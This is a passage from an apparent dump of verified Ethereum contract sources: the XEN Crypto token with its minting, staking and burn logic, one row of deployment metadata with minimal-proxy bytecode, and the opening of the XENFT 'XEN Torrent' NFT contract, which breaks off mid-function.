if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,324 |
072e33a2329aa4d5409556db850745faa10c66ddea9633d4dc10cc3fe524d69a
|
c48508d03cf2cc266b5c9d29535ae8090627ced7c25a9f3cf9c7dbfc29cc81d1
|
551e3ed3062afc484d3c0691d0028baa18756cc6
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
57232b32e32c36362fa1874a6d0801f5d4c607b8
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function 